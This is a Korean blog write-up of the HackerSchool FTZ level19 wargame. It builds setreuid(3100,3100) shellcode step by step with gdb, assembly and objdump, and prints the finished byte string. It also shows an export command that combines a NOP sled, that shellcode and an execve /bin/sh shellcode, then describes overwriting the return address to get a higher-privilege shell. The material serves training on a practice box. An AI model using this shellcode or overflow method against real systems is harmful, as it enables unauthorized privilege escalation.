본문 바로가기
C, HackerSchool FTZ

해커스쿨 FTZ level19 (HackerSchool) 풀이

by 오렌지마끼야또 2021. 3. 29.
728x90
반응형

 

 

 

 

힌트를 보자

 

 

뭔가 굉장히 심플하다.

지금까지와는 다른점을 찾아보자면 이전에는 uid를 바꿔주는 코드가 써있었고

우리는 shell을 띄워주는 쉘코드를 환경변수에 등록해서 그 주소를 덮어씌워서 문제를 해결했었다.

 

그런데 이번엔 uid를 바꿔주는 setreuid() 함수가 없다.

그러다는 건? shell을 띄워주는 것과 마찬가지로

setreuid()를 실행해주는 쉘코드를 만들어야 한다!

 

 

 

blog.naver.com/sungwhan4854/221787627860

 

FTZ level11 (3) 쉘 코드

level11이번시간에는 쉘 코드에 대해 배워보겠다.​1. 쉘 코드 - 쉘 코드는 터미널에 입력한 명령을 해석하...

blog.naver.com

(대부분의 내용은 위의 블로그에서 익혔습니다. 보다 자세하게  설명되어 있으니 참고하세요)

 

 

 

1. setreuid() 함수를 실행하는 c코드 작성

 

코드는 간단하다. 센스있는 사람이면 level20의 id가 3100 이라는 것을 알았을 것이다.

이전 코드들을 보면 3098, 3099 순으로 증가하였기 때문이다.

setreuid() 함수는 unistd.h 에 있으므로 include 해주자.

 

 

 

2. -static 옵션으로 gcc 하기

 

orange-makiyato.tistory.com/7

 

컴파일, 동적 컴파일, 정적 컴파일, 동적 라이브러리, 정적 라이브러리

우리가 작성한 코드는 다음의 과정을 거쳐서 실행파일이 된다. 작성한 코드(.c)가 컴파일러에 의해 오브젝트 파일(.obj)이 되고 링커에 의해 라이브러리와 링크되어 실행파일(.exe)이 만들어진다.

orange-makiyato.tistory.com

gcc -static -o setreuid setreuid.c

 

-static 옵션은 정적 라이브러리 방식으로 exe파일을 만들어준다.

이렇게 하는 이유는 setreuid() 함수가 실행되는 것을 gdb로 열어보기 위함이다.

(위의 블로그 내용에 개념을 설명해 놓았다.)

 

 

 

3. gdb setreuid

 

위에서 만든 실행파일을 gdb 해보자

set disassembly-flavor intel 코드가 뭔지 궁금한 사람

더보기

------------------------------------------------------------------------------------------------

set disassembly-flavor intel 은 어셈블리코드를 intel문법으로 바꿔주는 명령어이다.

어셈블리코드를 작성하는 문법으로 at&t, intel 두가지가 있다.

일반적으로 gdb를 하고서 보이는 코드는 at&t 문법이다.

상황에 따라 intel 문법으로 보는게 더 편할때 사용하고 있다.

------------------------------------------------------------------------------------------------

메모리는 우측 사진과 같이 되어있다.

 

setreuid 를 disas 해보자

매우 길지만 우리가 봐야할 부분은 +56 ~ +70부분이다.

나머지 부분은 오류 부분을 걸러내는 코드라고 한다.

 

   메모리구조와 레지스터를 보자면

 

         ebx
          esi
          BP              setreuid
         RET
   ---------------
        0xc1c
        0xc1c
       dummy
       dummy           main
       dummy
       dummy
          BP
         RET

 

 

 

   eax : 0x46 (==70 setreuid 함수 호출번호)
   ebx : 0xc1c (3100, 1번째 인자)
   ecx : 0xc1c (3100, 2번째 인자)

 

  가 된다.

  그리고 int 0x80 이라는 명령어가 보이는데 이는

  호출번호에 해당하는 함수를 호출하는 코드이다.

 

함수들의 호출번호는 여기서 확인할 수 있다.

cat /usr/include/asm/unistd.h

 

 

 

 

 

4. 레지스터에 맞게 어셈블리어 작성

 

앞에서 확인했던 레지스터 eax, ebx, ecx 그리고 호출 명령어 int 0x80 까지 어셈블리어로 작성할 것이다.

지금 작성하는 어셈블리어는 위에 보이는 intel방식이 아닌 AT&T 방식으로 적을 것이다.

(AT&T 방식 : 레지스터앞엔 %, 값 앞엔 $, 데이터의 흐름은 앞에서 뒤로)

 

mov $0xc1c, %ecx
mov %ecx, %ebx
mov $0x46, %eax
int   $0x80

 

 

 

 

5. 어셈블리어를 C코드로 작성

 

위의 어셈블리어를 c언어로 작성하는데, 컴파일 할 때 컴파일러가 스스로 최적화를 시켜 
명령어를 변화시키는 것을 방지하기 위해 __volatile__ 명령어를 덧붙인다.

gcc -o makeassembly makeassembly.c 까지 해주자.

 

 

 

 

6. 작성한 어셈블리어 c코드를 기계어로 보기

 

objdump -M intel -d assem | grep main.: -A20

 

1. -M은 disassembly option으로 위에서 작성한 AT&A문법을 intel로 변형하는 옵션이다.
2. -d는 어셈블리어를 기계어로 변형시켜주는 옵션으로 -d <파일명>으로 사용되기에 -d assem 로 적었다.
3. grep은 자신이 원하는 부분만 출력시켜주는 옵션으로 grep <확인하고 싶은 함수>로 사용된다.
    우리는 main함수 부분만 확인하면 됨으로 grep main.으로 작성하였고 grep을 사용하기 전에는 
    ' | '(다중실행 명령어)를 사용하여 작성해 주어야 한다. 따라서 | grep main.으로 작성하였다.
4. -A는 출력할 라인 수를 결정해주는 grep의 옵션으로 -A <출력 라인 수>로 사용된다.
     출력할 라인 수는 대략 20정도로 잡아도 되고 사용자 마음대로 잡아도 되지만 main부분은 다 보이게 
     잡아주어야 한다. 이 옵션 또한 grep 부분과 구분해 주어야 하기에 ' : ' 를 사용하여 작성해야 한다.
     따라서 : -A20으로 작성하였다.

 

기계어 부분을 보면 00이라고 작성되어 있는 부분이 보일 것이다.
16진수에서는 00이 NULL을 의미하는 숫자로 문자열의 끝을 알리는데 사용된다.
하지만 여기서는 문자열의 끝이 아닌 부분에서도 00이 존재하는 것을 볼 수 있다.
만약 이 부분을 그대로 실행한다면 문자열의 끝이 아님에도 끝으로 인식하여 오류가 발생할 수 있다.
따라서 00을 없애주는 작업이 필요하다.

1. ecx는 32bit, 0xc1c는 16bit 이므로 0xc1c를 ecx에 넣었을 때 ecx의 상위 16bit가 0으로 채워지는 것.
   그러므로 0xc1c 를 ecx의 하위 16bit인 cx에 넣자
   하지만 그 전에 ecx의 상위 16bit에 어떤 값이 들어있을 수도 있으므로
   xor 을 하여  ecx를 0으로 초기화 하자

        xor %ecx, %ecx
        mov %cx, $0xc1c

2. 1과 같은 이유. eax의 하위 8bit 인 al 에 넣자

        xor %eax, %eax
        mov %al, $0x46

orang.tistory.com/entry/%EB%A0%88%EC%A7%80%EC%8A%A4%ED%84%B0-Register-%EC%9D%98-%EC%9D%B4%ED%95%B4

 

레지스터 ( Register )의 이해

IA-32(Intel Architecture 32bit)의 레지스터에 대해 정리하겠습니다. ( 리버싱 핵심원리 ) 레지스터란 CPU 내부에 존재하는 다목적 저장 공간입니다. 일반적으로 메모리라고 얘기하는 RAM(Random Access Memory).

orang.tistory.com


수정본)

xor   %ecx, %ecx
mov $0xc1c, %cx
mov %ecx, %ebx
xor   %eax, %eax
mov $0x46, %al
int   $0x80

 

 

 

 

7. 수정된 어셈블리어로 코드 다시 짜기

gcc -o remakeassembly remakeassembly.c

 

 

 

 

8. 수정한 어셈블리어 코드를 기계어로 확인하기

 

objdump -M intel -d reassem | grep main.: -A20

 

 

 

 

9. 쉘코드 작성

 

기계어 코드만 모아놓으면 쉘코드가 된다.

 

setreuid(3100, 3100); 을 실행하는 쉘코드

\x31\xc9\x66\xb9\x1c\x0c\x89\xcb\x31\xc0\xb0\x46\xcd\x80

 

 

 

 

10. TRAP 이라는 환경변수에 setreuid() 와 /bin/sh 을 띄워주는 쉘코드 를 등록.

 

이제 다 왔다. 이후부터는 이전에 하듯이 하면 된다.

 

export TRAP=`python -c 'print "\x90" * 100 + "\x31\xc9\x66\xb9\x1c\x0c\x89\xcb\x31\xc0\xb0\x46\xcd\x80" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" ' `

 

export 명령어로 잘 생성되었는지 확인

뭐가 이상하게 막 들어가 있다.

 

 

 

11. 환경변수 TRAP 의 주소값을 얻기위한 c코드 작성

 

gcc -o 19getenv 19getenv.c

./19getenv

 

 

 

 

12. 다음레벨 쉘 얻기

 

attackme 파일의 메모리는 40바이트 이다.(확인하는 과정은 생략하겠다.)

여기에 BP 4바이트까지 합해서 44바이트를 덮어씌우고 RET에 TRAP의 주소값을 덮어씌우자.

 

uid 가 성공적으로 바뀌었고 level20의 패스워드를 얻었다!!

 

 

 

 

도움이 되었다면 아래에 하트 눌러주기~

 

 

 

 

728x90
반응형

댓글